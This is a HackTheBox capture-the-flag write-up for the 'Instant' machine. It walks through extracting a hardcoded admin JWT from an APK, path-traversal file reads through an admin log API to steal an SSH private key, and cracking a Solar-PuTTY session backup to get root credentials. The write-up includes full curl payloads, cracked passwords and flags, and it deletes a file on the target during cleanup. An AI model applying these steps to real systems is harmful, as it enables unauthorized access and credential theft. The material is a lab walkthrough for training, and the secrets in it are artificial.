HackTheBox Instant
Writeup for HackTheBox Instant
Machine Synopsis
Instant is a medium difficulty machine that includes reverse engineering a mobile application, exploiting API endpoints, and cracking encrypted hashes and files. Players will analyze an APK to extract sensitive information and a hardcoded authorization token, then they will exploit an API endpoint vulnerable to Arbitrary File Read. Finally, they will achieve full system compromise by decrypting and analyzing encrypted session data from Solar-PuTTY. (Source)
Key exploitation techniques:
- Android APK reverse engineering (
apktool
,smali
analysis) - Hardcoded JWT token extraction and validation
- API endpoint exploitation for Arbitrary File Read (LFI)
- SSH private key extraction and authentication
- Solar-PuTTY session file decryption
Enumeration
An nmap
scan identified SSH (22/tcp) and HTTP (80/tcp) running Apache.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ nmap -p- --min-rate 10000 10.10.11.37
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
❯ nmap -p 22,80 -sC -sV 10.10.11.37
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 31:83:eb:9f:15:f8:40:a5:04:9c:cb:3f:f6:ec:49:76 (ECDSA)
|_ 256 6f:66:03:47:0e:8a:e0:03:97:67:5b:41:cf:e2:c7:c7 (ED25519)
80/tcp open http Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://instant.htb/
|_http-server-header: Apache/2.4.58 (Ubuntu)
Service Info: Host: instant.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
The hostname instant.htb
was added to /etc/hosts
.
1
❯ echo -e '10.10.11.37\tinstant.htb' | sudo tee -a /etc/hosts
The http://instant.htb
website presented a “Download Now” button, which provided an Android APK file (instant.apk
).
APK Reverse Engineering
The instant.apk
file was disassembled using apktool
to extract its contents and source code.
1
2
3
4
5
❯ apktool d instant.apk
I: Using Apktool 2.7.0-dirty on instant.apk
I: Decoding AndroidManifest.xml with resources...
I: Baksmaling classes.dex...
# ... (truncated output)
Analysis of the disassembled application’s files revealed critical information:
res/xml/network_security_config.xml
: Contained two subdomains used by the application.1 2 3 4 5 6 7
❯ cat instant/res/xml/network_security_config.xml <network-security-config> <domain-config cleartextTrafficPermitted="true"> <domain includeSubdomains="true">mywalletv1.instant.htb</domain> <domain includeSubdomains="true">swagger-ui.instant.htb</domain> </domain-config> </network-security-config>
The subdomains
mywalletv1.instant.htb
andswagger-ui.instant.htb
were added to/etc/hosts
.smali/com/instantlabs/instant/AdminActivities.smali
: A hardcoded JWT token was discovered within this Smali code.1 2 3 4 5 6
❯ cat instant/smali/com/instantlabs/instant/AdminActivities.smali .class public Lcom/instantlabs/instant/AdminActivities; ... const-string v2, "Authorization" const-string v3, "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" ...
Decoding the JWT string on
jwt.io
revealed an admin token:1 2 3 4 5 6
{ "id": 1, "role": "Admin", "walId": "f0eca6e5-783a-471d-9d8f-0162cbc900db", "exp": 33259303656 }
This
Admin
token was collected for API exploitation.
API Endpoint Exploitation
Directory enumeration on the discovered subdomains provided more context. swagger-ui.instant.htb/apidocs/
was identified, suggesting an API documentation interface.
1
2
3
4
5
6
7
8
9
10
❯ dirsearch -u "mywalletv1.instant.htb"
...
[12:07:17] 403 - 287B - /server-status
[12:07:17] 403 - 287B - /server-status/
❯ dirsearch -u "swagger-ui.instant.htb"
...
[12:07:02] 308 - 263B - /apidocs -> http://swagger-ui.instant.htb/apidocs/
[12:07:31] 403 - 287B - /server-status
[12:07:31] 403 - 287B - /server-status/
The API allowed user registration and login. A test user (shiro:shiro
) was registered and logged in to understand the token structure.
Lets check out http://swagger-ui.instant.htb/apidocs/
.
Exploitation
Lets try to register as a user using the API.
Parameters required to register a user.
1 2 3 4 5 6 { "email": "string", "password": "string", "pin": "string", "username": "string" }Parameters required to login.
1 2 3 4 { "password": "string", "username": "string" }
1
2
3
4
5
❯ curl -X POST http://swagger-ui.instant.htb/api/v1/register -H "Content-Type: application/json" -d '{"username": "shiro","email": "shiro@instant.htb","password": "shiro","pin": "12345"}'
{"Description":"User Registered! Login Now!","Status":201}
❯ curl -X POST http://swagger-ui.instant.htb/api/v1/login -H "Content-Type: application/json" -d '{"username": "shiro","password": "shiro"}'
{"Access-Token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Mywicm9sZSI6Imluc3RhbnRpYW4iLCJ3YWxJZCI6IjJlMzFjZWE3LTVlN2MtNDk5NC1iMWMwLTExMTlmMzYzNTRhZCIsImV4cCI6MTczODkwNjE5MX0.Vomcqv20XIQ85DFDs5ae0sRFJ87Z1UU9VJ-WUboudmQ","Status":201}
The returned token structure was similar to the hardcoded Admin token, confirming its validity for API authentication.
The hardcoded Admin JWT token was then used to access administrative API endpoints. The /api/v1/admin/list/users
endpoint confirmed admin privileges and revealed another user, shirohige
.
1
2
3
4
5
6
7
8
9
10
❯ curl -X GET http://swagger-ui.instant.htb/api/v1/admin/list/users -H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq
{
"Status": 200,
"Users": [
{ "email": "admin@instant.htb", "username": "instantAdmin", ... },
{ "email": "shirohige@instant.htb", "username": "shirohige", ... },
{ "email": "shiro@instant.htb", "username": "shiro", ... }
]
}
The /api/v1/admin/view/logs
endpoint provided the path to log files: /home/shirohige/logs/
.
1
2
3
4
5
6
7
❯ curl -X GET http://swagger-ui.instant.htb/api/v1/admin/view/logs -H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq
{
"Files": [ "1.log" ],
"Path": "/home/shirohige/logs/",
"Status": 201
}
Reading 1.log
via /api/v1/admin/read/log?log_file_name=1.log
confirmed content could be retrieved.
1
2
3
4
5
6
7
8
9
❯ curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=1.log" \
-H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq
{
"/home/shirohige/logs/1.log": [
"This is a sample log testing\n"
],
"Status": 201
}
Arbitrary File Read (LFI) via API
The log_file_name
parameter was tested for Local File Inclusion (LFI) by attempting to read /etc/passwd
using path traversal.
1
2
3
4
5
6
7
8
9
10
❯ curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=../../../etc/passwd" -H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq
{
"/home/shirohige/logs/../../../etc/passwd": [
"root:x:0:0:root:/root:/bin/bash\n",
# ... (truncated)
"shirohige:x:1001:1002:White Beard:/home/shirohige:/bin/bash\n"
],
"Status": 201
}
LFI was confirmed. The path /home/shirohige/logs/
was the base for path traversal.
The LFI was then used to extract shirohige
’s SSH private key from /home/shirohige/.ssh/id_rsa
.
1
2
3
4
5
6
7
8
9
10
❯ curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=../.ssh/id_rsa" -H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq
{
"/home/shirohige/logs/../.ssh/id_rsa": [
"-----BEGIN OPENSSH PRIVATE KEY-----\n",
# ... (truncated SSH private key)
"-----END OPENSSH PRIVATE KEY-----\n"
],
"Status": 201
}
The SSH private key for shirohige
was retrieved. The raw key text was copied and saved to a file named id_rsa
.
SSH Key Formatting:
The jq
output includes newlines and extra backslashes (\n
). These should be removed, and a single trailing newline added to the end of the key, for ssh
client compatibility. dos2unix
can also fix line endings.
1
2
3
4
5
6
7
8
❯ chmod 600 id_rsa # Set correct permissions
❯ dos2unix id_rsa # Convert to Unix line endings if needed
dos2unix: converting file id_rsa to Unix format..
❯ ssh shirohige@instant.htb -i id_rsa
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-45-generic x86_64)
# ... (banner)
shirohige@instant:~$ cat user.txt
062226d8da4392ab61f87b045f101172
SSH access was gained as shirohige
, and the user.txt
flag was retrieved.
Privilege Escalation: Solar-PuTTY Decryption
Solar-PuTTY Session File Discovery
In shirohige
’s home directory, the path /opt/backups/Solar-PuTTY/
was found, containing sessions-backup.dat
.
Back to enumerating as shirohige
, we managed to find an interesting file in the /opt
directory.
1
2
3
4
5
shirohige@instant:~$ ls -la /opt/backups/Solar-PuTTY/
total 20
drwxr-xr-x 2 root root 4096 Oct 12 00:58 .
drwxr-xr-x 3 root root 4096 Oct 12 00:58 ..
-rwxr-xr-x 1 root root 1100 Oct 12 00:58 sessions-backup.dat
The sessions-backup.dat
file was transferred to the attacker machine.
1
❯ scp -i id_rsa shirohige@instant.htb:/opt/backups/Solar-PuTTY/sessions-backup.dat ./
The file type indicated ASCII text, but with very long lines, suggesting encrypted or encoded data.
1
2
❯ file sessions-backup.dat
sessions-backup.dat: ASCII text, with very long lines (1100), with no line terminators
Decrypting Solar-PuTTY Sessions
Researching sessions-backup.dat decrypt
or Solar-PuTTY decrypt
revealed a Python script designed to decrypt these files.
1
❯ wget https://gist.githubusercontent.com/xHacka/052e4b09d893398b04bf8aff5872d0d5/raw/8e76153cd2d115686a66408f6e2deff7d3740ecc/SolarPuttyDecrypt.py
The decryption script was executed with the sessions-backup.dat
file and a common wordlist (rockyou.txt
) to brute-force the encryption key.
1
2
3
4
❯ python3 SolarPuttyDecrypt.py sessions-backup.dat /usr/share/wordlists/rockyou.txt
[103] password='estrella' # The decryption key/password found
{"Sessions":[{"Id":"066894ee-635c-4578-86d0-d36d4838115b","Ip":"10.10.11.37","Port":22,"SessionName":"Instant","CredentialsID":"452ed919-530e-419b-b721-da76cbe8ed04",...}],"Credentials":[{"Id":"452ed919-530e-419b-b721-da76cbe8ed04","CredentialsName":"instant-root","Username":"root","Password":"12**24nzC!r0c%q12","PrivateKeyPath":"","Passphrase":"","PrivateKeyContent":null}],"AuthScript":[],"Groups":[],"Tunnels":[],"LogsFolderDestination":"C:\\ProgramData\\SolarWinds\\Logs\\Solar-PuTTY\\SessionLogs"}
The script successfully decrypted the file using the password estrella
and revealed the root
credentials: root
/ 12**24nzC!r0c%q12
.
Root Access
The retrieved root
password was used to switch user (su
) on the target machine.
1
2
3
4
shirohige@instant:/opt/backups/Solar-PuTTY$ su root
Password: 12**24nzC!r0c%q12
root@instant:/opt/backups/Solar-PuTTY# cat /root/root.txt
23d76ee9f157b3a89d703035e6607378
Root access was confirmed, and the root.txt
flag was retrieved.
Cleanup
To maintain operational security, any artifacts left on the system should be removed.
1
2
3
4
5
# On target machine as root
root@instant:/# rm /home/shirohige/id_rsa # If the private key was left in shirohige's home
root@instant:/# rm /opt/backups/Solar-PuTTY/sessions-backup.dat # Remove the sensitive backup file
# On attacker machine
❯ rm instant.apk id_rsa sessions-backup.dat SolarPuttyDecrypt.py